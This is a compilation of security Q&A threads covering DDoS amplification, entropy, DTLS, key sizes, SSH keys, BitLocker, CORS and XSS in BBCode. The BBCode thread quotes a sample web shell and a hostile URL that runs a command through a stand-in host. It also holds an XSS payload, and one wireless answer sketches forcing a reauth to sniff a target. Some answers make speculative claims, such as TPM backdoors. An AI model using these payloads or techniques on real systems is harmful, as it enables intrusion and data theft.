How does a Distributed Denial Of Service Attack work Let's assume that a hacker has already infected an X number of PCs , each one of them is online. How will he actually perform this attack? Just send ping requests or use his very precious tool to do it(Having the risk of it being revealed) ?
I do not understand the actual way

One possible way (UDP-Flood/Reflection/Amplification-Attack):

the attacker might use the zombies to invoke amplification/reflection-attacks like the ones performed some days ago link1 /  link2; the attack was (probably) an NTP reflection attack

In other words:

you have 20.000 bots
you have a list of 100 vulnerable NTP-servers with an 100 mbit/s - uplink
you are able to flood any target with (theoretical) 10 GB/s UDP - traffic
the victim is attacked from the NTP-servers, who received spoofed requests from the bots

the same applies for DNS-amplification-attacks or any other UDP-based floods

picture taken from Secureworks-Blog DNS Amplification Variation Used in Recent DDoS Attacks


Is secure to enable tools like git on shared server? I want to know if there is a real security reason to not enable tools like git, WP-CLI or npm. I want to run a server (Centos/CPanel), but I want to be sure that enabling them would not be a risk.

The motivation behind this is to be more productive and stop deploying using a zip or FTP (i never use it, is insecure and slow).

Using git exposes you to some potential risk and gives you some substantial benefits.

If your users cannot login to the server today, and if you're going to compile their code on that server, then you're likely enabling them to run code in a way they cannot today.  That's the risk.  That's probably a small real increase in risk -- you were running their code already.

This is substantially mitigated by the existence of logging and potentially accountability: the code they run has to be checked into git, where you'll be able to see what they did.

The tradeoff is probably a substantial win for security.


Random seed not propagating to the entropy pools in a timely manner The Linux kernel's randomness driver collects entropy from the environment. Because there will be little entropy during boot, a random seed is often kept at /var/lib/misc/random-seed or a similar location. When the system shuts down, a new 512-byte random seed is written to this file. When the system boots up, this file is written to /dev/urandom, which adds it to the entropy pool. The point is to allow the state of the entropy pool to persist across reboots. There are issues:

Data written to the nonblocking pool gets first put in the input pool, and it will only be usable after enough entropy is collected for a "catastrophic reseed". This means that it may take a few minutes for the entropy in the random seed to actually affect the CSPRNG.
For the same reason, if the system boots up and then shuts down within a few minutes, the new seed that is written will not have entropy from the previous seed, making it far easier to predict. This is likely an issue for systems that may have very low uptime, as it means that they will effectively reset their persistent entropy seed fairly often.

Is my analysis correct? What are the real-world implications of these issues? For example, are there any systems in common use (especially embedded systems) which either require unpredictable randomness within a few minutes of reboot, or which may have very short uptime?

In the kernel's randomness driver, writing to either the blocking or nonblocking pools triggers the random_write() operation and inside it, write_pool() with the input pool specified as the argument. The input pool is periodically used to reseed the blocking pool via the push_to_pool() workqueue function. The nonblocking pool will reseed itself from the input pool every 5 minutes when _extract_crng() is called to extract data from the nonblocking pool (assuming at least 128 bits of entropy have been added to the input pool since the last reseed). This flow of information implies that the random seed stored across reboots will only affect the contents of the blocking pool after a (64-bit) catastrophic reseed, and the nonblocking CRNG every 5 minutes.

There are some assumptions I must question:

A.  “Because there will be little entropy during boot”.

B.  “The point is to allow the state of the entropy pool to persist across reboots”

Addressing A: While it is possible that specific system configuration you happen to use experiences low entropy issues, this is not a typical occurrence. However, “Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network Devices” by N. Heninger describes such condition in headless systems.  For this condition to happen multiple entropy sources must be absent or operate at degraded performance.  First, it must be a headless system, so there is no entropy from add_input_randomness(). Second, must be very limited controller activity, and this includes network card, so there is little interrupts driving add_interrupt_randomness(). Third, there must be no block device (e.g. hard disk), so add_disk_randomness() doesn’t generate entropy. For example, modern SATA3 SSD will generate about 200 bits of entropy by itself during boot via add_disk_randomness().

Addressing B: Saving entropy pool state is an incomplete solution to a serious problem. If you have low boot time entropy, then that is the key problem you should focus on. If you also frequently reboot such problem becomes catastrophic. Improving saved entropy design will not resolve the underlying problem of lack of entropy.


How do SSL authenticated users prove authenticity through UDP packets? I chose SSL for registration in the game client. The client communicates with the game server which stores a salted/hashed password.

If I use SSL to authenticate users on login but the game does all of it's communication with UDP packets, how does the server know that the UDP packets it's receiving is from the authenticated user?

Note that I'm mostly interested in ensuring the user is authenticated. I don't care about the privacy of the UDP packets.

The safe method is to use DTLS: that's SSL/TLS applied to UDP.

The less safe method is to invent your own protocol. In this case, since you worry about authentication only, things would go that way:

Client and server make some normal SSL and run an authentication protocol within that SSL.
Client and server exchange a symmetric key K within that tunnel (e.g. client generates K randomly and sends it to server).
Each UDP packet sent by the client is authenticated with a MAC (e.g. HMAC) using key K. The server uses K to verify that the packet really comes from the client and has not been altered in transit.
Each packet must include a sequence number, and the server must maintain some knowledge of the last received packets (with a window for out-of-order packets), so that the server may notice when packets are dropped, duplicated, reordered, or replayed.

Proper packet management to avoid replay attacks is a matter of subtlety; leaving that job to an already implemented DTLS library is the smart thing to do.


ECDH vs DH secret key size In the past couple of weeks I have been reading about DH and ECDH which are key exchanging algorithm to compute a shared secret key. According to advices, it is better to use DH with key size 2048 bits and ECDH secp521r1 which results in 528 bits secret key. I confused about the strength of these two algorithm which results in the following questions:

If ECDH secp521r1 has the equivalent strength of DH-2048 why there is smaller secret key for ECDH?
If a person uses a well-known KDF such as HKDF-SHA-256 to derive a new key for encrypting; is ECDH secp521r1 better with regard to DH-2048 because it is faster to compute? As a result if something is faster to compute for both parties (client, server) so it would be for attacker?

AIUI (I am not a cryptographer)

We measure the security of cryptography by asking "given the best known attack how much computing power would it take to break this". This is clearly an imperfect measure, there may be a better attack that the mathematicians haven't figured out yet but sadly it's the best we have in most cases.

DH works in a "finite group". Such a group consists of a finite set of possible values along with an operator that works on two values from the set and returns another item from the set. The operator must also satisfy a series of axioms that I won't get into here. The number of elements in the set is known as the "order" of the group.

Confusingly there are two ways to write groups. Some groups are written "like addition" with the operator represented by "+" and the identity element represented by "0". Others are written "like multiplication" with the operator represented by a multiplication operator (".","*","×" or nothing at all) and the identity element represented by "1".

We can apply the operator repeatedly. If we are thinking of the group by analogy to addition then repeated application of the operator is analogous to multiplication. If we are thinking of the group by analogy to multiplication then repeated application of the operator is analagous to exponentiation. From here on I will refer to this repeated application of the group operator as discrete exponentiation. Thanks to associativity, discrete exponentiation can be computed in time proportional to the log of the exponent.

DH relies on discrete exponentiation being computationally infeasible to reverse. Specifically for "A = ga" it should be infeasible to find "a" given "A" and "g". The problem of reversing discrete exponentiation is known as the discrete log problem.

The difference between traditional DH and ECDH is what group is used. Traditional DH uses the nonzero integers modulo p under multiplication. ECDH uses an elliptic curve.

The difficulty of solving the discrete log problem depends heavily on the particular group chosen.

Afaict for elliptic curve the best known algorithms have a complexity of roughly √n where n is the order of the group. So for 128 bits of security we need a group with roughly 2256 entries and our keys will be roughly 256 bits in length.

For traditional (modulo p) it is possible to use the general number field sieve to solve the discrete log problem. This algorithm has a much lower complexity for a given group size. So a much larger key is needed to push it into the realm of computationally infeasible.


Can my company access my computer via the VPN? The job I have requires that we have computers at home, a few years ago they had everyone install a VPN on our home personal computers (the company did not provide us with these computer) how safe if this, does the company now have access to our personal information? Is this legal?

I won't answer the legal question as it varies from location to location, but I will say that many companies in the US and EU are moving to a bring your own device (BYOD) model, where employees supply their own equipment. They wouldn't be doing that if it wasn't legal. Employees using their own equipment to access company resources is nothing new.

The answers to your other questions are partially determined by the VPN software. If the software is standard, off the shelf vendor software like Checkpoint Securemote or Cisco's VPN client then the software itself is pretty safe, they are well written, tested for vulnerabilities, and they don't have functionality in them that spy on your computer.

The final consideration depends on how safe your computer is. A VPN is two-way, so if you can connect to company systems they can in turn connect to yours. If your computer is well locked down, using NIST standards for example, and your OS and applications are up to date with a good AV product installed then you should be pretty safe. If you are sharing drives without requiring strong credentials, have poor passwords, or guest accounts for example it would be easy for people to access data on your computer if you employer's VPN device rules allow it.


Is there a technical survey report related to BitLocker and TPM? I want to understand the technical aspect of BitLocker and TPM, especially with Startup PIN. Does anyone know a technical survey report, preferred by a competent third party (not MS)?

I have a few questions about this topic

If I use the BitLocker StartUp PIN, do I use the TPM like a smart card?
Like a smart card, can I change the maximal tries until the smart card resets? Or is there a other methode to prevent brute force?
Can I retrieve my data at every point with the recovery key? (use hard drive on another pc, reseted TPM, ... )
In my bios a can chose between TPM 1.2 and Intel TPM 2.0, what is the difference?
If leaving aside the transparency, can you say that BitLocker and TrueCrypt are equally safe? (IMHO transparency in TrueCrypt not really exist.)

I don't know of independent security audits, but your questions 1-4 are relatively easily answered from official sources. I would have no reason to distrust the official sources on those matters. The quick answers are:

Yes, the TPM is tamper-proof hardware which stores and protects your key.
This is manufacturer dependent but most use an exponential backoff, e.g. 1st bad attempt locks for 1 min, then 2 mins, 4 mins, 8 mins, etc. more here
Yes, the recovery key is your key, so you can recover in case the TPM fails. more here
TPM 2.0 supports new algorithms and other improvements. I don't think the changes are fundamental. more here

Your question number 5 is much more interesting! TrueCrypt and BitLocker have very different safety profiles, and this is where we do have to question how much we can trust the TPM manufacturers.

TrueCrypt is as secure as your passphrase. If you use a weak passphrase, your encryption can be broken by brute force. If you use a strong passphrase then as far as anyone can tell (at least anyone who will speak in public) then your data is safe. There are a few caveats on this (cold boot, evil maid) but in the case that your computer is stolen while turned off, the data is very well secured.
BitLocker is as secure as your TPM. If you use a weak password, your data is still safe because the TPM enforces a lockout. However, if your TPM can be compromised then your data is at risk. It may be possible to compromise the TPM by techniques like shaving it open layer by layer and using a scanning-tunnelling electron microscope. However, a much more practical concern is law enforcement back doors. The TPM manufacturers probably have a back door they can use to get in, and they would likely reveal this to law enforcement in certain circumstances.

I can see why law enforcement would hate TrueCrypt! BitLocker gives adequate protection for commercial uses. And TrueCrypt is ideal for criminals.

Even if someone did an independent security audit, it wouldn't normally be possible to determine whether there was a manufacturer back door.


Login with a hash. Is this secure enough? I need to provide store's clients with a tool to check the status of their repair orders.
The clients doesn't have a user or password. They are only a record in the database. Yet I need to give them a way to login to the webpage and check their status (ready or not). Forcing then to register is not an option.

I came with this idea:

The user is asked for his email address
The system check if this email is registered in the database, generates a hash and emails a special url with the hash.
The user check's the email and go to this address
When the system gets a request to the special address check if the hash is in the database and retrieves the user_id
If it's present, voila! Hello John Doe Your order #3454364 is ready for pickup

The Hash generation algorithm would be.

SELECT clients set hash = SUBSTRING(PASSWORD(UUID()), 2);

The hash/password is salted and Bcrypt(ed) in the server.
I could add a timeout (hash valid for 1 day or something like that)

Is there something horribly wrong with this idea?

UPDATE:
Corrected the wording so it's less confusing.

What work factor should I use for Bcrypt? It seems to be like the general idea is to increase the number until it takes ~1 second.

I like the output of MySQL's PASSWORD for the hash generation because it's very url friendly. But that's really the only reason. Any other suggestion?

For the level of security that your service sounds like it requires, I'd say that this sounds like a reasonable solution.

The risks are that someone will intercept a link and get access to the customers information, so you should make sure that access to the status page is encrypted via SSL.

For the timeout you could either go with the approach that you've got (time-based) which seems reasonable under the circumstances, or you could set each hash to only be used once (i.e. the hash needs to be re-created each time the customer uses it)

An alternative that I've seen used for this kind of system which is somewhat less secure but easier for customers to use, is to request information about the order (e.g. Order ID, customer surname, customer postal code).  This gets rid of the e-mail step, but is susceptible to a brute-force attack.

How secure you want it largely depends on how sensitive the information is and how annoyed the customers would be if someone else gets access to it.


How should I tunnel arbitrary protocol traffic over HTTPS? I'm posting this question from a moving train! (Ok, maybe that's not so impressive.) This train has an annoying WiFi - it's low-throughput, high-latency, tends to lose packets, and blocks most kinds of traffic (by port and by protocol most probably). Specifically, it allows HTTPS, but does not allow SSH (pretty sure it doesn't allow SOCKS 4/5 either). In fact, it probably does not allow any TCP-based protocols other than HTTP and HTTPS (but I've not established this as a fact).

So naturally, I want to tunnel out, via HTTP, or better yet via HTTPS so that they don't try any packet inspection tricks. What should I do? Are there publicly-accessible proxies? I'm guessing the answer is "no" and I need to set up my own; so, what should I deploy on my Linux box at home to enable this, with minimum impact on my system otherwise? Can such a proxy 'share' a port with a regular HTTP(S) server? And should I expect to have SSH over HTTPS? SOCKS over HTTPS? Something else?

Why not look into stunnel?

This will allow you to tunnel a protocol over TLS/SSL. You will need a public endpoint on your Linux box at home to listen on port 443 and then you can connect to what you need through that.


SSH in AWS vs SSH on GitHub This is not much of a technical but more of a practical question.
Both in AWS-EC2 instance and GitHub repos I had to generate a cryptographic key pair to encrypt data sent over SSH tunnel.
For AWS the public key is on the remote computer, and the private .pem key in mine. (my understanding of it). They keys are generated on AWS and you just download the .pem file.
I guess AWS runs a key-pair generation algorithm too, but this is all UI guided.
Even though both use SSH, for GitHub it's quite different, and I can see both private and public key locally. In this case we generate them using

Generate: ssh-keygen -t ed25519 -C "your_email@example.com"

This seems to be a new asymmetric algorithm/cipher, and before you use RSA

Load the private key somewhere eval "$(ssh-agent -s)" && ssh-add ~/.ssh/id_ed25519
Paste the public key on GitHub.

Probably both work the same, when my computer creates a request, they send data encrypted with the public key (maybe their own public key at first), and if this is the right computer, then it has the private key to open it.
But apart from this basic idea, why this 2 approaches seem to be so different even though the protocol is the same?
Also, if I'm not mistaken, AWS does not ask for a passphrase.

SSH works exactly the same way when logging in to an EC2 instance in AWS and when logging in to a git repo on github.
cryptography mumbo-jumbo
SSH is an old protocol from the 90s. Like SSL/TLS and IPSec, it has evolved since the 90s and the default (and even "must-implement") cipher suites from the 90s are no longer a good idea and should not be supported.
Everyone has converged on X25519-Ed25519-ChaCha20-Poly1305 as the best default cipher suite, with the following options/fallbacks:

AES-GCM used instead of ChaPoly in case your device has hardware AES and CLMUL instructions and you care about the difference between 1.7GB/s and 4.8GB/s (per core)

ECDHE over NIST P-256 instead of X25519 if you don't support X25519

RSA-PSS (with 2048, 3072 or 4096 bits) instead of Ed25519 if you don't support Ed25519

RSA-PKCS#1v1.5 (with 2048, 3072 or 4096 bits) instead of RSA-PSS if you don't support RSA-PSS

TL;DR: If you use a recent (8.x) version of openssh on the server and on the client, you don't need to worry about any of this - the defaults are fine. The latest version (>=0.74) of putty is also ok.
SSH host keys
EC2 will generate new host key for a new VM and you will need to use TOFU with the ssh host key.
Github doesn't create a new server for you, so it has published long term SSH host keys which you should verify when first connecting to github.
SSH user keys
In both cases (EC2 and github) you should generate the user keypair yourself on your own computer using ssh-keygen (or puttygen or equivalent) and upload the public key to the server that will authenticate you, either in the openssh authorized_keys format or in the PEM format (they carry the same data).
In AWS EC2, the option to generate your own user SSH keypair is present ("choose an existing key pair" and then use a public key you have previously uploaded), but it also has the option to let AWS generate a new SSH keypair for you, let you download it as a PEM file, and then use it (puttygen can import it to convert to a putty--format private key, and openssh can decode it and let you see the private key values, if you want). AWS might say: if you don't trust AWS with that key, why do you trust them with the VM?
But there are risks:

You might be tempted to use the same keypair for other things (like github), and if so then AWS has access to your account at github.

AWS might leak the private key it generated for you, though they should delete it after you download it.

Well, you shouldn't use that option - there is no need. The risks are real, while the benefits are non-existent. Just generate a keypair on your laptop and upload the public key to AWS.


Why are certain languages chosen for security application development over others? Specifically, why are the most popular attack proxies written in java? Is there any particular security posture to the design of the java language that makes writing tools like these simpler? Easier to maintain and update?

Reason for high level languages:
Let's say you are writing a program that is written that executes under the attackers machine which may send an attack against a remote machine or whatever. There is no point writing in in low level language is it requires more time to manage. So, you may as well write it in high-level language which uses bytecode language such as .NET or Java etc so it's cross-platform and easy to manage and scalability.

Reason for low level languages or native code:
Let's say you are writing some form of pentest code to execute under the victims machine you ideally want less dependencies so it will likely to execute under more machines. If we used high-level language such as Java then we need all victims to have Java VM installed.

If we are talking about Windows platform then other reasons for native code would be exploiting internal windows is much harder to do under bytecode languages. Bytecode only executes under ring 3 where as native languages such as assembly, C and C++ you can write drivers to execute at lower rings.

So, summary just depends on what your coding.


Benefit of using two network interfaces for intrusion detection system What is the benefit of using two network interfaces (management interface and sniffing interface) for an IDS such as Snort? I have used a Snort IDS where it only used one network interface for both management and sniffing and it seemed to work fine with regards to logging alerts on certain traffic.

The main benefit is speed.  IDS isnt about prevention but rather about detection, so the packets that are routed to the production machine can be sent directly while the second port can mirror the traffic on the first and send it to a sniffer for the heavy lifting of the analysis.  This allows you to split the load between a dedicated production box (or cluster) and a dedicated sniffer/IDS box ... this preventing one from overloading the other.


Securely interpret BBCode tags in PHP I'm trying to make a kind of administratorpanel for my website, so I could e.g. easily add news articles to my website. The problem is that the administrators should be able to use a kind of BBCode, but I need to do this in a secure way.

For tags like [h1], [b] and [i] there is no problem. They can just be replaced with
,  and . But I'm encountering problems with, for example, the [img] tag.

[img]http://image-host.com/cat.png[/img] ain't a problem if I replace the [img] with . But this would be a problem, just to give an example:

[img]http://evil.com/shell.php?cmd=echo $(cat passwords.txt) > stolenPasswords.txt"[/img]

Users reacting with an image, or an evil administrator could give the URL to a shell or other evil code.

Tested with this code:

test1.php:

         stolenPasswords.txt" />

danger1.php:

<?php
        $x = system($_GET["cmd"]);
?>

Will normal image-validating also satisfy even if it's remote?
IMHO not because evil.com could be a Nginx server on which .png images can be interpreted as code.

I'm asking on how to do it in code (PHP), but also on how to secure it by server-configuration.

TL;DR
How can I secure the panel which allows administrators and users to set bold and italic text and images by using something like BBCode-like tags?

If there is a web shell (like the one danger1.php) on your server it is already game over. It can easily be exploited without the use of BBCode. On the other hand, if there is a web shell on evil.com that is a problem for the poor guy owning that domain, not for you.

It would become a problem for you if you download any images users use to your own server. Then you would have a whole host of problems to worry about - malware of all sorts, PHP hidden in valid images, and so on. That would be dangerous business.

But if you are just replacing [img]url[/img] with <img src="url"> you are not downloading the image to your server. You are hot linking it. The visitors of your site will not be downloading the images from your server, but from whatever server they are linked from.

So it seems like you are worried about the wrong problem here. What you should be scared off is XSS. What about this image?

[img]https://example.com/cat.png" onClick="alert('XSS')[/img]

Protecting against XSS in a BBCode implementation is famously hard. Many have tried but failed. There is a PHP BBCode extension, but I don't know if it is any good. You should probably disable as many tags as possible and plug the output into a HTML purifier to be on the safe side.


Do any antivirus products use "canary files" to detect rootkits? Recently, I've learned how some rootkits are able to hide certain files, services, etc. from programs in the kernel or user modes.

This got me wondering:  Are there any antivirus programs, or other intrusion detection systems, that use "canary files" with common strings in their filenames that are normally hidden by rootkits to detect these?

i.e:

1.)  MyRootkit.vir is known to hide files which include the string ".vir" in their filename.
2.)  Upon installation (or signature update) MyAV puts MyRootkitcanary.vir in C:\Program Files\MyAV\Canary Files\
3.)  During a scan, MyAV runs cmd -c dir "C:\Program Files\MyAV\Canary Files\"
4.)  If MyRootkitcanary.vir is not included in the system's response, MyAV alerts that the system may be infected with MyRootkit.vir.

I am not aware of any common anti virus product for end users doing this.

Many root kits, however, use either absolute paths or put their files into well known operating system folders. So an approach, that put canary files into an arbitrary folder, is not likely to catch many root kits.

But putting the canary files outside the the anti virus folder, is likely to raise suspicion about a real infections. This makes live for anti virus vendors a lot harder because it will create extra support requests and in the worst case may result in bad press coverage: "Anti virus A infected with rootkit B as discovered by anti virus C".

Dedicated rootkit detection tools might try this approach. On a quick glance chkrootkit, however, is primary based on detecting inconsistencies: For example it uses different ways to list processes (chkproc) and folders (checkdirs).


Is this description of the term "event" accurate within the context of Business Continuity and Disaster recovery? I'm studying for the CCSP exam and I came across this description:

  An event is any unscheduled adverse impact to the operating
  environment.  An event is distinguished from a disaster by the
  duration of the impact.  We consider an event's impact to last three
  days or less; a disaster's impact lasts longer.  An event can become a
  disaster.  Causes of either/both can be anthropogenic, natural forces,
  internal or external, malicious or accidental.

This doesn't sound right to me. I thought that an "event", in and of itself, was neither good nor bad... it is an unplanned change of state in the environment. An "incident" seems to better align with description above which the purpose/affect is negative in nature.

I tried searching through other material and couldn't find clarification.  Perhaps I'm remembering it incorrectly?

Totally depends on the context.

A cybersecurity event may simply be an action taken without inherent goodness or badness (user logged in, user failed authentication, logs were rotated, etc.).

A Business Continuity event or a disaster event is a different type of event. In this context, in order to classify it as a BC or DR "event" something "bad" must have happened (winds were 50 mph causing trees to fall on power lines), even if the impact was small. Else, there is no reason to classify it at all (wind was 5 mph).

Ultimately, it's semantics.


Finding the Ip of a given ESSID I am interested to know if someone could actually get an ip of a user

through his/her ESSID? over a wifi network.I have been doing some research

on aircrack-ng and just want to know if this a possibilty when you know

given inetnum like 103.xxx.88.0-103.xxx.91.255,and you know the user

ESSID,then is it possible to get his/her IP?.

Not sure if I'm interpreting your question correctly, but the only way to find out someone's privately assigned IP address on a secure wireless network is after you've associated to the access point.

If the wireless is not secured, just grab a packet destined for your target out of the air and the IP info will be in it.
If it is a wireless network with simple security, your ARP table will be populated with IPs/MACs (or if you compromise the AP you can look at its associated clients and/or DHCP lease info).
If it is a more secure network (clients are isolated from each other by one means or another), you may have to force a reauth on the target client and attempt to decrypt the wireless packets which will then contain IP information.

An ESS is just a collection of all BSSs of a network. For all intents and purposes, ESSID = SSID.


How to Scan nearby routers IP addresses using Nmap? I am trying to scan all the nearby routers IP Addresses. How can this be achieved? I am new at using Nmap and tried scanning with that. I gave initial target as my Public IP Address range but it didn't help much.

Are you talking about other people's public IP addresses or routers on your home network?

If you're attempting the former you best stop there, if you don't have permission you shouldn't be scanning ANYTHING. You can even get in trouble scanning your own public IP address with some ISPs.

If you're attempting the latter, give NMAP your private address range to scan, not your public address. Your routers most likely sit behind an ISP owned device that hands out private addresses to your local network.

Again, if you're scanning public IP addresses, have permission to do so, or you could get yourself into hot water.

I see now in your comment you have said the ones that are "within your Wi-Fi range". What you are attempting to do could be considered illegal, even if it is a grey-ish area. Just don't. Want to point your NMAP at something to get some practice? Find a bug bounty website (like bugcrowd or something similar), join, and point your scanners at the companies who are actually asking to be scanned. Or, setup a home lab environment. Scanning public addresses isn't a good idea.

Nmap actually hosts scanme.nmap.org for testing purposes just like this one (no DoS, DDoS, or vulnerability exploitation allowed).

If you'd like to do a little reading on the subject, nmap has a page on their website dedicated to the discussion of legality and port scanning. Essentially, port scanning isn't explicitly criminal (at least in the USA), but it is an extremely complicated issue, and you don't want to be one of the outlier cases, so it's best to only scan where you've been given permission.


No Preflight Request is made during XHR cross-origin request I made a XHR cross-origin request from a html file, hosted on a python Simple HTTP Server.

var xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.facebook.com/favicon.ico", true);
xhr.withCredentials = true;
xhr.onload = function () {
    console.log(xhr.responseText);
};
xhr.send();

I open Chrome developer tools and watch the requests through Network tab. In the Network tab I see a single direct request made to the server "facebook.com".

The behaviours which I found unusual were:

I was hoping to see a preflight request before the direct XHR request was
made, according to the documentation mentioned here:
link
The request got a status code: *200** which is unusual. SOP should
block such kind of request since it is a cross-domain request.

However, In Console tab of Chrome developer tools, I see the expected behaviour:

A preflight request to check for CORS headers is only done if the request done with XHR could not be achieved without XHR. In your case you are just doing a simple GET request with no special headers which could be done also by including an image with the same URL or similar. Thus the request does not need to be preflighted.

For more details which request are considered "simple" and get not preflighted and which requests are not simple see Preflighted Requests in the documentation to CORS at Mozilla Developer Network.


Strange request URI with lot of + (spaces) and "chosen nickname" Over the last six months or so (after publishing a certain article) my site has being pestered with a number of requests URIs that follow this pattern:

/warning.php++++++++++++++++++++++++++++++++++Result:+chosen+nickname+%22doudounemonclerfemmez.webs.comoV%22;+success;

The Requester IP-address and the quoted chosen nickname is different in each request, otherwise the pattern is the same.

The page requested (warning.php) is a real page on my site that mentions a specific hacker group (not "anonymous" btw.) in non-flattering terms.  The fact that this specific page is targeted may indicate that they may be irritated - or it may just be a coincidence.

The hacker group in question is (IMHO) an obnoxious bunch of criminals, but they are also quite good at what they do.  However, I don't see this as a compentent attack.  To me, it looks more like a script-kiddie thing than something a real hacker would try.  I really don't understand what padding a legitimate page request with a lot of spaces and some random "chosen nickname" is supposed to accomplish.  To me, it does not look like an injection attack.  The requests are persistent, but only 40-60 per day - so it is not even some sort of DoS attack.

I've googled for this pattern, but only found this: http://en.forums.wordpress.com/topic/hacked-by-f34rl355-i-guess - which suggests that this is script-kiddie work.  However, the fact that whoever doing this has at his disposal at vast number of IP-addresses points in the opposite direction.  I've discounted the theory of multiple script-kiddies, since I know of no "script" that have this "thing" as a component, and since all requests are for the same specific page.

What make me a bit concerned is that 1) whoever is doing this is persistant; 2) it targets a specific page on my site.

My specific questions here are:

Can anyone see what the person doing this is trying to accomplish?
Should I be concerned?

Your initial reaction is correct - this is a malicious request. The attack seems to be attempting to leverage an authentication bypass bug in a plugin, but I can't find which one. The attack seems to have been reasonably successful, since a large number of sites that show up on Google are now displaying pharma spam. I'd imagine the attacker is using a botnet or Tor to perform the attacks.

As far as mitigation goes, just block the requests with a firewall or WAF that supports pattern-based blocking. If you can do a regex pattern block, this will work as long as case sensitivity is disabled:

^\/warning\.php\+*Result:\+chosen\+nickname\+.*success;$


Do you think it's a good policy to disclose your password encryption method to users? Do you think it’s a good idea to disclose your password encryption policies in your privacy policy or terms of service agreement? In other words, would you tell your users - and the world - you don’t store their passwords in plain text, and disclose the exact method you use to store passwords?
For example, a privacy policy might have a statement like this;

“We will not store your password as plain text. All passwords are encrypted with the Bcrypt hashing function and individual random password salts. If your password is 123456, your password would be stored in our database in a form similar to; salt:f11ba67d8a hash:$2a$08$jRAovt7x1lgHjMGsZstzUukaE4Nga6jxfneZXPSMc6/Uhlx.rY4ri Therefore, our website - nor anyone else - will know your your password.”

Question #1: Do you think publicly disclosing password hashing is a good policy?

Question #2: Would disclosing password hashing policies disincentivise hackers from attempting to hack your password database?

Also, are there any examples of companies / websites who publicly disclose their password encryption policies on their sites / apps?

The only relevant question I found is Is it safe (or a good idea) to advertise the use of bcrypt?, which asks if encryption is a feature or a selling point.

I'm more interested in "encryption disclosure" as a policy and a deterrent to hackers.

PS: This is not a question about which password hashing scheme or use of salts is best.

EDIT: To be clear, I’m not interested in the pros and cons of “Security Through Obscurity.”

In the past several months and years, we’ve witnessed high profile data breaches and found out that apparently sophisticated companies are storing passwords in plain text or with a very low standard of encryption.

So my question is, is how do we communicate to users and the world we’re storing their passwords with strong encryption?

And like @JonathanGarber mentions in the comment below, should we disclose specific methods, instead of saying useless things like "we meet industry standards" or “military-grade encryption”

There are good and bad things about revealing your password encryption in a document.

For:

When you disclose your encryption algorithm, if you're doing something wrong, someone is more likely to point it out to you.

Against:

If one of the people that has access to the documentation wants to attack your system will already know the encryption method you use. (they will still miss implementation details like, the actual salt used though)

Check this great question/answer:
At what point does something count as 'security through obscurity'?

Generally speaking, disclosing information is what makes public knowledge evolve, so I think it's a great policy morally speaking.


Securing Admin Login by only whitelisting a dedicated vpn ip Is it is a good idea to restrict access to the admin-login-page-url of a website, by making a .htaccess rule that only allows access to the dedicated VPN IP?
If so, is it recommended to just buy the dedicated IP from popular VPN providers?
My goal is that only people having access to this VPN IP can reach the URL.
So far I've found similar approaches but haven't found a confirmation for this specific approach.

In addition to the excellent suggestions by Conor Mancone in the comments, you might want to consider the following:
Is the protected admin URL within the domain of a larger website that is open to the public (e.g. https://www.yoursite.com/admin)?  If so, you may want to make the admin site entirely separate from the public site, with a different subdomain for the admin site (e.g. https://admin.yoursite.com/ as opposed to https://www.yoursite.com/admin).
This has several security advantages:

The admin site will benefit from same origin policy (SOP) to protect against CSRF and XSS attacks possibly launched from the user site, being that the sites will have different origins.

By making the admin site separate from your user site in your web server configuration, you may be able to configure a higher level or SSL/TLS security for the admin site than that of the user site.  This also gives you the option to deploy client certificates for the admin site, as an another layer of security in addition to IP whitelisting.


What is the best practice to save encryption and decryption method in an application? Almost all the application regardless of their nature and purpose are using encryption to secure sensitive data to be saved to database, if the user using a method to encrypt a file (for instance an image) and save the binary data to database and later decrypt it to display it to end user, what are the best practice to save encryption and decryption methods in application?

I know that I have to use different salt or password for each file to be encrypted however when it comes to storing and reusing encryption and decryption methods, it becomes a security thread if somebody get access to file containing methods...

I am also very well-aware that writing a custom encryption method probably is not a wise solution since it needs knowledge and experience information security so in this case is there any suggestion to mitigate the risk of accessing these methods by unauthorized people??

If by "encryption method" you mean the cryptographic scheme used to encrypt/decrypt the data, then there shouldn't be any problem for them to be public. In fact, if you're doing it correctly, you should already be using something well-vetted like AES.

Always keep Kerckhoffs's principle in your mind

  A cryptosystem should be secure even if everything about the system,
  except the key, is public knowledge.
  The cipher method must not be required to be secret, and it must be able to fall into the hands of the enemy without inconvenience.

The only thing that needs to be secret in your encryption scheme is the key.


SSL with client certificate authentication can somebody explain to me if for example i use Server certificate, with 2048bit keys and client certificate with only 512bit strength, does this use in any way affect the security of the established SSL?

Why i'm asking is because using client certificate requires RSA decryption in ssl handshake and on embedded ARM5 devices using 2048 client cert negotiation takes 7 sec :S

So using a lesser client cert 512 is significantly faster...

Thank you and best regards,
Lonko

...if for example I use Server certificate, with 2048bit keys and client certificate with only 512bit strength, does this use in any way affect the security of the established SSL?

It does not affect the strength of encryption since this depends at most on the servers certificate (for RSA key exchange). But it will affect how easy the client certificate can be spoofed, so it does affect the credibility of the client authentication. 512 bit keys are considered broken since 1999 and might have been spoofed in 2011.


How some sites prevent cross-site requests through referrer although there are redirections allowed I read about referrer header that some sites use to allow only requests made by the pages of the site. So if I make a page hacker.com, and let this page make a request to https://twitter.com/i/flow/add_phone , twitter will refuse this request as the referrer is not it's pages.
How then I can access twitter.com for example from google search? Is twitter.com allowed from any site, but twitter.com/i/flow/add_phone is not?

Now the question is how then I can access twitter.com for example from google search

Twitter is conveniently ignoring the referer header because you are landing on a unauthenticated page twitter.com. Cross-origin request can lead to CSRF when the session is created and request is leading to a state change. https://twitter.com/i/flow/add_phone from here, the state of the parameter will change with post request submitting your password first, followed by entering your phone number. When the google is redirecting to twitter, the referer header is sent but twitter does not check it for protection, since no csrf risk is considered in that case.
Kindly note, referer header shall not be used as only method of preventing cross site request forgery because it can be bypassed based on how it is validated.


How to save passwords temporarily? I work for a hosting company and are about to design a rest api for a 3rd party so they can create Active Directory user accounts.

I also want this api to be async and robust enough to survice application pool recycling and reboot. In order to do that, I have to save state. For new user accounts, that would include the initial password, unless I can convince the 3rd party to accept callbacks or polling.

My design options are:

Async fire-and-forget where I have to save the password for new accounts.
Async with callback. New accounts can be created with a random password. 3rd party resets when the callback is received.
Same as 2. but with polling.

I can't use the recommended password hash, because the objective is not to use it for later authentication, but to pass it on to Active Directory.

The api will be implemented CQRS style, hence the password cannot be part of any domain event. That would be the same as saving it.

Option 1: Store passwords temporary in a separate database and let it handle the encryption.

